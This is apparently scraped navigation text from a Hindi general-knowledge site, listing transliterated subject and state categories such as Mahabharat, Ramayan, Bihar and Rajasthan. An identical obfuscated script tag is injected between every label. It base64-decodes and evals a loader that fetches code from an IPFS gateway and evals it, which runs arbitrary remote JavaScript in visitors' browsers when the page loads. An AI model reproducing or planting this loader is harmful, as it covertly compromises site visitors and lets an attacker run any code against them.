<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vijnan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jiv vijnan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> arthashastr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> samajashastr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shiksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajavyavastha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kampyootar   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kala   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajaniti   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chitr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mahabharat   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ramayan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sharirik shiksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nagarik shastr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> khel   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mishrit   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tarkik  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> fॅsabuk paheli
rajyoan ke samany jnan
uttar pradesh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chhattisagadh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jharakhand   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajasthan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bihar   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madhy pradesh


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